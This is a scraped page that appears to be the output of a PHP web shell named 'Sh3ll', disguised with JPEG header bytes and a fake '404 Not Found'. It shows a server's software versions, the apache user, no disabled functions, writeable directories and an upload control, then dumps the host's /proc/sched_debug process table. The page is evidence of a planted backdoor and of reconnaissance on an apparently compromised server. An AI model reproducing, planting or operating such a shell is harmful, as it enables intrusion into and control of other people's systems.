ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1127.10.1.el7.x86_64 #1
ktime                                   : 1952052426.561548
sched_clk                               : 1952063163.388553
cpu_clk                                 : 1952063163.388657
jiffies                                 : 6247016473
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2097.570 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 3159732917
  .nr_load_updates               : 1952349187
  .nr_uninterruptible            : 47737
  .next_balance                  : 6247.016485
  .curr->pid                     : 0
  .clock                         : 1952063172.595138
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 437
  .cpu_load[2]                   : 906
  .cpu_load[3]                   : 1151
  .cpu_load[4]                   : 1138
  .avg_idle                      : 998350
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 538189069.565294
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 1124
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 3936
  .avg->runnable_avg_period      : 46849

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.037791
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 538187776.847175    800191   120         0.000000    414450.576581         0.000000 0 /
        kthreadd     2 537449484.295782      9544   120         0.000000     38742.015176         0.000000 0 /
    kworker/0:0H     4      1570.557028         7   100         0.000000         0.057545         0.000000 0 /
     ksoftirqd/0     6 538189063.045718 198803450   120         0.000000  19598366.842133         0.000000 0 /
     migration/0     7         0.000000     90046     0         0.000000      1857.315405         0.000000 0 /
          rcu_bh     8       240.293450         2   120         0.000000         0.001659         0.000000 0 /
       rcu_sched     9 538189063.570583 577716482   120         0.000000   6477739.888260         0.000000 0 /
   lru-add-drain    10       243.795748         2   100         0.000000         0.003600         0.000000 0 /
      watchdog/0    11         0.000000    488016     0         0.000000     27901.058601         0.000000 0 /
       writeback    21 537309530.316319      3668   100         0.000000       215.809023         0.000000 0 /
      khugepaged    35 538183267.076712     75191   139         0.000000     34225.608045         0.000000 0 /
        kthrotld    44       390.380409         2   100         0.000000         0.026223         0.000000 0 /
    kmpath_rdacd    46       396.387155         2   100         0.000000         0.012344         0.000000 0 /
          kaluad    47       396.391164         2   100         0.000000         0.012206         0.000000 0 /
       kpsmoused    48       403.411168         2   100         0.000000         0.018992         0.000000 0 /
       scsi_eh_0   251      1542.285238         8   120         0.000000         1.850531         0.000000 0 /
      scsi_tmf_1   255      1472.346819         2   100         0.000000         0.004420         0.000000 0 /
    kworker/0:1H   274 538187777.829252   1890063   100         0.000000    220655.539493         0.000000 0 /
 ext4-rsv-conver   280      1604.830691         2   100         0.000000         0.010290         0.000000 0 /
 systemd-journal   361 538185690.927057   1614044   120         0.000000   1119855.526494         0.000000 0 /
   systemd-udevd   388      4704.500744       325   120         0.000000        69.599313         0.000000 0 /
          auditd   445 538188086.136252   1726027   116         0.000000    182317.377142         0.000000 0 /
         polkitd   480      2327.880005         3   120         0.000000         0.062885         0.000000 0 /
 JS Sour~ Thread   485      2342.225865         8   120         0.000000         0.127056         0.000000 0 /
     dbus-daemon   470 538187777.672798    366572   120         0.000000    192329.860703         0.000000 0 /
  systemd-logind   474 538187777.359607    341643   120         0.000000    115423.907395         0.000000 0 /
  NetworkManager   479 538189054.908756 403670753   120         0.000000  40011349.605518         0.000000 0 /
           gmain   498 538188705.833287    598046   120         0.000000     79773.514791         0.000000 0 /
           gdbus   500 537612939.277166     26304   120         0.000000      6939.879182         0.000000 0 /
         chronyd   488 538185099.143092     66170   120         0.000000     25246.588035         0.000000 0 /
       memcached   738 538188698.586559  11481162   120         0.000000    703267.530851         0.000000 0 /
       memcached   739 538188835.121734  11485352   120         0.000000    704424.870237         0.000000 0 /
       memcached   740 538188800.477819  11484111   120         0.000000    703825.313001         0.000000 0 /
       memcached   747      3424.486126         6   120         0.000000         0.082855         0.000000 0 /
           tuned   727 538010406.422369      3875   120         0.000000      1161.283800         0.000000 0 /
            sshd   728 538187673.699623    547549   120         0.000000    648309.470305         0.000000 0 /
        rsyslogd   731 538071026.841137     11872   120         0.000000      2791.737371         0.000000 0 /
    in:imjournal   754 538188835.247758   3200699   120         0.000000    475739.564283         0.000000 0 /
   rs:main Q:Reg   756 538185690.170645   1217433   120         0.000000    104321.661346         0.000000 0 /
           httpd   733 538188854.239856   2097093   120         0.000000    396700.030209         0.000000 0 /
          agetty   810      7125.654325         6   120         0.000000         8.438401         0.000000 0 /
          master  1025 538188427.617520   1081857   120         0.000000    245811.832517         0.000000 0 /
            java  1590      6666.132702         4   120         0.000000         5.913490         0.000000 0 /
            java  1603 538181621.193256    417137   120         0.000000    234854.519041         0.000000 0 /
            java  1604 538181615.159041    414502   120         0.000000    231392.147106         0.000000 0 /
       VM Thread  1606 538188937.637751   2104214   120         0.000000    154426.134776         0.000000 0 /
 Reference Handl  1607 538181615.214844      5611   120         0.000000      1053.346413         0.000000 0 /
       Finalizer  1608 538181615.234069      5970   120         0.000000      1220.906265         0.000000 0 /
 RMI TCP Accept-  1634      7120.735384         3   120         0.000000         0.398468         0.000000 0 /
   NTPSyncThread  1653      7524.253206        10   120         0.000000        19.436805         0.000000 0 /
 Flashphoner-Rel  1654 538188927.098976   2058553   120         0.000000    398171.535760         0.000000 0 /
 RMI TCP Accept-  1657 537526518.335990      6098   120         0.000000      2444.855295         0.000000 0 /
       GC Daemon  1659      7689.309641         2   120         0.000000         0.841057         0.000000 0 /
 HTTP-BOSS-pool-  1683 538189052.671412   1953412   120         0.000000    121904.458795         0.000000 0 /
 HTTPS-BOSS-pool  1684 538189052.672400   1956413   120         0.000000    126613.717374         0.000000 0 /
 RTMFPManager-39  1732 538189052.632540  43632614   120         0.000000   1745202.626469         0.000000 0 /
 HLS-HTTP-BOSS-p  1742 538188862.951710   1955563   120         0.000000    119956.400546         0.000000 0 /
       Thread-18  1752      9831.175257         2   120         0.000000         0.342745         0.000000 0 /
 CPU statistic t  1754 538189063.617224  37683984   120         0.000000   6651538.407806         0.000000 0 /
 WSClientsKeepal 16987 538188005.331475    390864   120         0.000000     36576.000287         0.000000 0 /
 RtspSessionsKee  3278 538187918.975991    391086   120         0.000000     42439.238986         0.000000 0 /
 HLSStreamProvid  1022 538185314.795367    101693   120         0.000000     34045.156877         0.000000 0 /
 HTTP-pool-3-thr 28551 538189063.517702 166073992   120         0.000000   2917539.186535         0.000000 0 /
 FlashPolicy-poo 20661 538189063.547634 144580162   120         0.000000   2459864.522494         0.000000 0 /
 RTSP-pool-26-th 20666 538189063.546105 144603296   120         0.000000   2488723.480916         0.000000 0 /
 HLS-HTTP-pool-2 20681 538189063.521027 144601503   120         0.000000   2498318.237331         0.000000 0 /
 HTTP-pool-3-thr 20699 538189063.518463 144553456   120         0.000000   2424509.604399         0.000000 0 /
 HTTP-pool-3-thr 31831 538189063.538571 142101578   120         0.000000   2424573.828500         0.000000 0 /
 HLS-HTTP-pool-2  7315 538189063.562579 142018637   120         0.000000   2412347.068611         0.000000 0 /
 RTSP-pool-26-th 13969 538189063.539055 104140892   120         0.000000   1709988.600012         0.000000 0 /
 HTTPS-pool-5-th 13971 538189063.520851 104164697   120         0.000000   1721264.178989         0.000000 0 /
 HTTPS-pool-5-th 10894 538189063.518167  95752649   120         0.000000   1572398.645079         0.000000 0 /
 RTSP-pool-26-th 26022 538189063.526006  94441608   120         0.000000   1509909.352947         0.000000 0 /
 FlashPolicy-poo  9524 538189063.520115  64335867   120         0.000000   1046451.071847         0.000000 0 /
          mysqld  1622 538189063.521668   4826559   120         0.000000    246861.811418         0.000000 0 /
          mysqld  1624 538189063.074006   4159492   120         0.000000    160908.685821         0.000000 0 /
          mysqld  1626 538189052.645512   4115332   120         0.000000    157123.097404         0.000000 0 /
          mysqld  1630 538188959.749370   8438209   120         0.000000    293383.091150         0.000000 0 /
          mysqld  1631 538188840.301771   4062845   120         0.000000   3930791.228379         0.000000 0 /
          mysqld  1691 538188005.284881    398183   120         0.000000     28359.493770         0.000000 0 /
          mysqld  1692 538188916.636839   3784059   120         0.000000    568870.381880         0.000000 0 /
          mysqld  1693 538184293.311087   3785909   120         0.000000    692428.986828         0.000000 0 /
          mysqld  1698 538189010.126254    210439   120         0.000000     28488.956648         0.000000 0 /
          mysqld  1699 538188419.095933    402041   120         0.000000     30749.959962         0.000000 0 /
          mysqld  1700      8336.383978         1   120         0.000000         0.006222         0.000000 0 /
          mysqld  1701      8533.685773         2   120         0.000000         0.053861         0.000000 0 /
          mysqld  1702      8539.765526         1   120         0.000000         0.093357         0.000000 0 /
          mysqld 18975 538188702.248275     24622   120         0.000000     83397.171384         0.000000 0 /
          mysqld 19122 538188503.136890     25562   120         0.000000     91776.562459         0.000000 0 /
          mysqld 19124 538188898.523508     25536   120         0.000000     95838.060942         0.000000 0 /
          mysqld  3347 538188863.126770      3668   120         0.000000     12949.738825         0.000000 0 /
    kworker/u4:2 10492 537322992.037175      5472   120         0.000000     22363.060943         0.000000 0 /
           httpd  9306 538189063.756486     20517   120         0.000000     36652.616379         0.000000 0 /
           httpd  9307 538185915.200503     23164   120         0.000000     48781.296768         0.000000 0 /
           httpd  9309 538184946.070188     20653   120         0.000000     41857.927498         0.000000 0 /
           httpd  9310 538189058.605525     20676   120         0.000000     36097.203849         0.000000 0 /
           httpd  9311 538188800.581154     19305   120         0.000000     33153.473378         0.000000 0 /
           httpd  9313 538188116.469182     22408   120         0.000000     39217.263115         0.000000 0 /
           httpd  9314 538185217.118314     22882   120         0.000000     38836.099117         0.000000 0 /
           httpd  9315 538186335.738801     20991   120         0.000000     34938.961324         0.000000 0 /
           httpd  9316 538185705.954690     20085   120         0.000000     37631.859992         0.000000 0 /
           httpd  9318 538188751.436585     20182   120         0.000000     35018.736596         0.000000 0 /
           httpd  9319 538187424.537026     20853   120         0.000000     33474.445301         0.000000 0 /
           httpd  9321 538185561.081438     22196   120         0.000000     40671.996840         0.000000 0 /
           httpd  9324 538185321.598291     23753   120         0.000000     38723.008816         0.000000 0 /
           httpd  9328 538185996.471252     19611   120         0.000000     33685.533300         0.000000 0 /
           httpd  9330 538186007.441456     22997   120         0.000000     39368.979003         0.000000 0 /
           httpd  9854 538188798.471423     20625   120         0.000000     36203.214196         0.000000 0 /
           httpd  9855 538188754.736690     20562   120         0.000000     35368.962516         0.000000 0 /
           httpd  9856 538189069.565294     21562   120         0.000000     37669.026782         0.000000 0 /
           httpd  9858 538188408.278476     19729   120         0.000000     33768.592203         0.000000 0 /
           httpd  9859 538184110.631963     22367   120         0.000000     38068.235352         0.000000 0 /
           httpd  9863 538186469.273105     21099   120         0.000000     35604.777979         0.000000 0 /
           httpd  9864 538188744.666305     20002   120         0.000000     33829.147953         0.000000 0 /
           httpd  9866 538187822.733421     23732   120         0.000000     42418.683155         0.000000 0 /
           httpd  9867 538185999.004827     20388   120         0.000000     36945.265042         0.000000 0 /
           httpd  9868 538188593.618689     23569   120         0.000000     44576.995295         0.000000 0 /
           httpd  9869 538189053.186335     20901   120         0.000000     40557.542396         0.000000 0 /
           httpd  9870 538187744.710296     21449   120         0.000000     36757.340015         0.000000 0 /
           httpd  9872 538188508.533385     21306   120         0.000000     35038.872524         0.000000 0 /
           httpd  9873 538185321.345496     21897   120         0.000000     39402.055452         0.000000 0 /
           httpd  9874 538185601.289209     21789   120         0.000000     43008.505170         0.000000 0 /
           httpd  9877 538185153.333520     20234   120         0.000000     34928.529560         0.000000 0 /
           httpd  9878 538186693.281915     21717   120         0.000000     36627.891088         0.000000 0 /
           httpd  9879 538185691.459365     22171   120         0.000000     41244.551302         0.000000 0 /
           httpd  9880 538187422.277096     21177   120         0.000000     36605.528490         0.000000 0 /
           httpd  9881 538188117.517618     21963   120         0.000000     35943.504058         0.000000 0 /
           httpd 12537 538189069.041614         1   120         0.000000         0.438740         0.000000 0 /
     kworker/0:2 17405 536646882.783209         6   120         0.000000         0.073760         0.000000 0 /
     kworker/0:0  2618 538189063.516365     51208   120         0.000000      4015.241122         0.000000 0 /
    kworker/u4:1 21504 538188022.857239      1477   120         0.000000      6333.027544         0.000000 0 /
          pickup 24873 538178042.780760        56   120         0.000000        36.544969         0.000000 0 /
           httpd 30889 538187158.634265      4186   120         0.000000      7308.219047         0.000000 0 /
           httpd 30890 538185873.833664      4081   120         0.000000      6577.103254         0.000000 0 /
           httpd 30892 538188109.925203      6690   120         0.000000      8270.782659         0.000000 0 /
           httpd 30893 538187744.709394      5594   120         0.000000      8046.825713         0.000000 0 /
           httpd 30895 538188684.702768      4487   120         0.000000      6496.203259         0.000000 0 /
           httpd 30896 538186324.772494      4868   120         0.000000      7941.662205         0.000000 0 /
           httpd 30897 538188674.430179      6707   120         0.000000     11741.619519         0.000000 0 /
           httpd 30898 538188061.990920      4058   120         0.000000      7241.575040         0.000000 0 /
           httpd 30899 538188748.701324      5145   120         0.000000      8352.762804         0.000000 0 /
           httpd 30900 538184924.555894      5324   120         0.000000      8416.902738         0.000000 0 /
           httpd 30901 538188116.957653      3872   120         0.000000      6545.030736         0.000000 0 /
           httpd 30904 538188521.281256      5208   120         0.000000     12432.941377         0.000000 0 /
           httpd 30908 538189013.362602      5092   120         0.000000      8290.508101         0.000000 0 /
           httpd 30910 538188807.096099      6126   120         0.000000      7523.378811         0.000000 0 /
           httpd 30911 538185375.892450      4571   120         0.000000      7698.190654         0.000000 0 /
           httpd 30914 538186309.166821      3787   120         0.000000      6830.406738         0.000000 0 /
           httpd 30918 538185332.806807      4005   120         0.000000      7165.143684         0.000000 0 /
           httpd 30919 538186443.708219      3798   120         0.000000      6388.478295         0.000000 0 /
           httpd 30920 538188841.626644      7173   120         0.000000     14287.719440         0.000000 0 /
           httpd 30982 537714082.800662         2   120         0.000000        10.216285         0.000000 0 /
           httpd 30985 538188755.274971      3794   120         0.000000      6796.786121         0.000000 0 /
           httpd 30989 538187654.347499      4245   120         0.000000      7506.828336         0.000000 0 /
           httpd 30990 538188749.708195      4575   120         0.000000      7745.910922         0.000000 0 /
           httpd 30997 538188559.221185      4628   120         0.000000     11773.480373         0.000000 0 /
           httpd 31000 538188743.917008      3733   120         0.000000      6865.930822         0.000000 0 /
           httpd 31001 538188874.666299      5393   120         0.000000      9549.059845         0.000000 0 /
           httpd 31004 538188512.430287      4025   120         0.000000      6783.542061         0.000000 0 /
           httpd 31005 538186227.906118      5921   120         0.000000     10141.856989         0.000000 0 /
           httpd 31006 538184205.962095      3443   120         0.000000      5992.938196         0.000000 0 /
           httpd 31008 538185164.399452      3615   120         0.000000      6013.885773         0.000000 0 /
           httpd 31011 538188480.814341      4598   120         0.000000      8251.362376         0.000000 0 /
           httpd 31012 538185691.241228      4247   120         0.000000      8013.336949         0.000000 0 /
           httpd 31015 538187744.347107      4260   120         0.000000      7503.881917         0.000000 0 /
           flush 12521 538188433.728653         9   120         0.000000        26.855222         0.000000 0 /

cpu#1, 2097.570 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 3310305936
  .nr_load_updates               : 1936637642
  .nr_uninterruptible            : -47737
  .next_balance                  : 6247.016532
  .curr->pid                     : 30996
  .clock                         : 1952063173.842610
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 2801
  .cpu_load[2]                   : 2614
  .cpu_load[3]                   : 2110
  .cpu_load[4]                   : 1670
  .avg_idle                      : 880155
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 631262860.240093
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 93073790.674799
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 251
  .blocked_load_avg              : 67
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .tg->cfs_bandwidth.timer_active: 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 15221
  .avg->runnable_avg_period      : 46689

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.027066
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.974457    488016     0         0.000000     10626.093447         0.000000 0 /
     migration/1    13         0.000000     83218     0         0.000000      1956.717813         0.000000 0 /
     ksoftirqd/1    14 631262841.514622  39331165   120         0.000000   2022233.077624         0.000000 0 /
    kworker/1:0H    16      2175.309149         8   100         0.000000         0.170405         0.000000 0 /
       kdevtmpfs    18      3009.669793       143   120         0.000000         1.641143         0.000000 0 /
           netns    19        16.932385         2   100         0.000000         0.084302         0.000000 0 /
      khungtaskd    20 631248288.781147     16271   120         0.000000      7413.450409         0.000000 0 /
     kintegrityd    22        29.133494         2   100         0.000000         0.012349         0.000000 0 /
          bioset    23        33.146814         2   100         0.000000         0.013804         0.000000 0 /
          bioset    24        37.156143         2   100         0.000000         0.009820         0.000000 0 /
          bioset    25        41.167525         2   100         0.000000         0.012150         0.000000 0 /
         kblockd    26        45.179753         2   100         0.000000         0.012960         0.000000 0 /
              md    27        49.186878         2   100         0.000000         0.007952         0.000000 0 /
     edac-poller    28        53.207178         2   100         0.000000         0.021146         0.000000 0 /
       watchdogd    29        57.226650         2   100         0.000000         0.020339         0.000000 0 /
         kswapd0    33 631191035.204698  49380027   120         0.000000  11178113.894557         0.000000 0 /
            ksmd    34       440.755601         2   125         0.000000         0.017056         0.000000 0 /
          crypto    36       453.577964         2   100         0.000000         0.010591         0.000000 0 /
   ipv6_addrconf    50       567.597366         2   100         0.000000         0.020225         0.000000 0 /
         deferwq    63       636.363807         2   100         0.000000         0.008442         0.000000 0 /
         kauditd   107 631261938.539161   1723290   120         0.000000     32147.556934         0.000000 0 /
         ata_sff   241      1240.182107         2   100         0.000000         0.005823         0.000000 0 /
      scsi_tmf_0   253      1288.280193         2   100         0.000000         0.002951         0.000000 0 /
       scsi_eh_1   254      1369.169552         4   120         0.000000         1.165758         0.000000 0 /
        ttm_swap   258      1304.292216         2   100         0.000000         0.007803         0.000000 0 /
     jbd2/sda1-8   279 631262250.547297   8596309   120         0.000000   1605057.653227         0.000000 0 /
          auditd   447 631257149.078957    170370   116         0.000000     31129.469678         0.000000 0 /
         polkitd   469 630605176.609248     24566   120         0.000000      3963.791970         0.000000 0 /
           gmain   472      2190.961120         4   120         0.000000         0.118820         0.000000 0 /
           gdbus   475 630605176.995602     43688   120         0.000000     10758.331815         0.000000 0 /
    JS GC Helper   484      2217.663680         1   120         0.000000         0.079542         0.000000 0 /
         polkitd   492      2255.524307         4   120         0.000000         0.088048         0.000000 0 /
    kworker/1:1H   471 631262249.148035   8115249   100         0.000000    863634.779293         0.000000 0 /
      irqbalance   473 631261245.673625    221579   120         0.000000    111411.822249         0.000000 0 /
           crond   482 631248809.971420     47143   120         0.000000     17693.309000         0.000000 0 /
       memcached   723 631262795.355227   8463461   120         0.000000    563319.175782         0.000000 0 /
       memcached   741 631262795.293639  11478038   120         0.000000    701673.084065         0.000000 0 /
           gmain   912      3769.187406         1   120         0.000000         0.055302         0.000000 0 /
           tuned   913 631262705.571888   1955771   120         0.000000    476064.068742         0.000000 0 /
           tuned   915      3805.826805         7   120         0.000000         0.577824         0.000000 0 /
           tuned   916      3825.817486         1   120         0.000000         1.821035         0.000000 0 /
            qmgr  1027 631260896.358586    883511   120         0.000000    331118.482723         0.000000 0 /
            java  1602      9922.468163       798   120         0.000000      2235.250046         0.000000 0 /
            java  1605 631262811.124283   1004871   120         0.000000     88119.524710         0.000000 0 /
 Surrogate Locke  1613 327445037.013414        12   120         0.000000         1.824608         0.000000 0 /
 Signal Dispatch  1614      6696.548861         2   120         0.000000         0.052082         0.000000 0 /
 C2 CompilerThre  1615 631262809.542092    668924   120         0.000000    133481.505323         0.000000 0 /
 C1 CompilerThre  1616 631262809.569481    551058   120         0.000000     78716.403489         0.000000 0 /
  Service Thread  1617      6720.760738         2   120         0.000000         0.094829         0.000000 0 /
 RMI TCP Accept-  1632      7163.710135         2   120         0.000000         0.995986         0.000000 0 /
 RMI TCP Accept-  1635 254945106.747661        93   120         0.000000        65.692944         0.000000 0 /
 VM Periodic Tas  1636 631262853.187343  38168436   120         0.000000   1702946.685717         0.000000 0 /
 RestClientKeepa  1652 631261721.303398    390750   120         0.000000     31997.630604         0.000000 0 /
 FScheduling-poo  1655 631262359.866714     12737   120         0.000000      3175.794090         0.000000 0 /
 FScheduling-poo  1656 631245983.194459     10256   120         0.000000      1895.261370         0.000000 0 /
      RMI Reaper  1658      7959.679424         2   120         0.000000         0.241783         0.000000 0 /
 HTTP-BOSS-pool-  1682 631262795.336296   1958813   120         0.000000    130767.167919         0.000000 0 /
 HTTPS-BOSS-pool  1685 631262813.058544   1971091   120         0.000000    137981.698386         0.000000 0 /
      WCSClients  1687 631214191.042341     10606   120         0.000000      2514.140141         0.000000 0 /
 RTMP-BOSS-pool-  1731 631262844.571139   1958415   120         0.000000    123712.348298         0.000000 0 /
 KeepAliveManage  1733 631261721.283998    390653   120         0.000000     29487.335688         0.000000 0 /
 pool-11-thread-  1737 631262853.175196 169847900   120         0.000000   2971899.935854         0.000000 0 /
 WS-BOSS-pool-13  1738 631262819.037962   1998848   120         0.000000    159025.923139         0.000000 0 /
 WSS-BOSS-pool-1  1739 631262846.021319   1976976   120         0.000000    140223.270850         0.000000 0 /
 FlashPolicy-BOS  1740 631262844.552716   1952737   120         0.000000    120857.980212         0.000000 0 /
 HLS-HTTPS-BOSS-  1743 631262795.334350   1956116   120         0.000000    121088.004534         0.000000 0 /
 RTSP-BOSS-pool-  1744 631262810.590296   1956545   120         0.000000    127415.472238         0.000000 0 /
       Thread-17  1750      9772.163027         2   120         0.000000         0.712178         0.000000 0 /
 sshd-SshServer[  1751 631262844.561658   1955685   120         0.000000    128705.955342         0.000000 0 /
 sshd-SshServer[  1753 631262846.023435   1954162   120         0.000000    111864.147720         0.000000 0 /
 TurnServer-BOSS  1755 631262844.602616   1953108   120         0.000000    126550.669466         0.000000 0 /
 FScheduling-poo  2375 631230746.309778     19306   120         0.000000      7247.487747         0.000000 0 /
 FScheduling-poo  3055 631216000.567918     12976   120         0.000000      3242.312944         0.000000 0 /
 FScheduling-poo  3784 631262359.688747     28739   120         0.000000     13150.493642         0.000000 0 /
 pool-18-thread- 16502 631262844.539103  19488053   120         0.000000    885152.065113         0.000000 0 /
 pool-15-thread- 20505 631262844.584828  19480478   120         0.000000    863881.703962         0.000000 0 /
 RTSP-pool-26-th 15215 631262853.181650 167798545   120         0.000000   2941177.497902         0.000000 0 /
 StreamingSessio 28252 631251452.252147     33935   120         0.000000     16092.655756         0.000000 0 /
 HTTPS-pool-5-th 20683 631262853.175431 144612243   120         0.000000   2479030.820357         0.000000 0 /
 HTTP-pool-3-thr 13980 631262853.175730 104137570   120         0.000000   1701590.591977         0.000000 0 /
 FlashPolicy-poo 22614 631262853.174756  24698651   120         0.000000    403609.096098         0.000000 0 /
          mysqld  1619 631262795.407210   6691712   120         0.000000    679035.077988         0.000000 0 /
          mysqld  1620      7091.769347         1   120         0.000000         0.029633         0.000000 0 /
          mysqld  1621 631262813.037964   3890589   120         0.000000    131244.776110         0.000000 0 /
          mysqld  1623 631262844.576221   4188288   120         0.000000    166895.489472         0.000000 0 /
          mysqld  1625 631262846.556176   4233078   120         0.000000    171831.988779         0.000000 0 /
          mysqld  1627 631262813.011930  10022297   120         0.000000    329575.720687         0.000000 0 /
          mysqld  1628 631262813.013608   8342621   120         0.000000    278319.763868         0.000000 0 /
          mysqld  1629 631262813.010426   8269408   120         0.000000    284239.453866         0.000000 0 /
          mysqld  1689 631262795.291621   1949129   120         0.000000     89324.507536         0.000000 0 /
          mysqld  1690 631262811.055315   1953393   120         0.000000    181688.292084         0.000000 0 /
          mysqld  1694 631257187.304594   1551260   120         0.000000     33562.239482         0.000000 0 /
          mysqld  1695 631257187.318023   1726437   120         0.000000     56669.343726         0.000000 0 /
          mysqld  1696 631257187.305954   1641112   120         0.000000     29986.637270         0.000000 0 /
          mysqld  1697      8557.145029         2   120         0.000000         0.985555         0.000000 0 /
          mysqld 13381 631262639.695319     28084   120         0.000000    102519.034716         0.000000 0 /
          mysqld 14349 631262695.027970     27335   120         0.000000     93781.688752         0.000000 0 /
          mysqld 18681 631262705.918469     25127   120         0.000000     88069.882463         0.000000 0 /
          mysqld 19414 631262650.460046     24458   120         0.000000     84077.242561         0.000000 0 /
          mysqld  3346 631262249.286926      3901   120         0.000000     15054.595057         0.000000 0 /
           httpd 13902 622483779.439087         1   120         0.000000         1.896693         0.000000 0 /
           httpd  9301 628276230.893250         1   120         0.000000         7.195693         0.000000 0 /
           httpd  9303 631257458.182991     24334   120         0.000000     43134.851481         0.000000 0 /
           httpd  9304 631261563.386993     19108   120         0.000000     34406.315029         0.000000 0 /
           httpd  9305 631262827.842185     22810   120         0.000000     44661.744579         0.000000 0 /
           httpd  9308 631262232.291195     20286   120         0.000000     38300.097365         0.000000 0 /
           httpd  9312 631262524.652248     18749   120         0.000000     32601.728138         0.000000 0 /
           httpd  9317 631261988.758827     21081   120         0.000000     36477.299070         0.000000 0 /
           httpd  9320 631261463.942508     21268   120         0.000000     37151.257136         0.000000 0 /
           httpd  9322 631261809.089043     21715   120         0.000000     38499.256329         0.000000 0 /
           httpd  9323 631262593.550200     20434   120         0.000000     34944.587774         0.000000 0 /
           httpd  9325 631260369.369634     19864   120         0.000000     34444.710939         0.000000 0 /
           httpd  9326 631259255.023310     20695   120         0.000000     42044.719867         0.000000 0 /
           httpd  9327 631262105.556861     18549   120         0.000000     33183.981776         0.000000 0 /
           httpd  9329 631260957.418805     21412   120         0.000000     38734.244200         0.000000 0 /
           httpd  9331 631261523.574211     24058   120         0.000000     43153.000564         0.000000 0 /
           httpd  9332 631262233.103104     19111   120         0.000000     33430.236084         0.000000 0 /
           httpd  9333 631260580.110717     20022   120         0.000000     35985.588117         0.000000 0 /
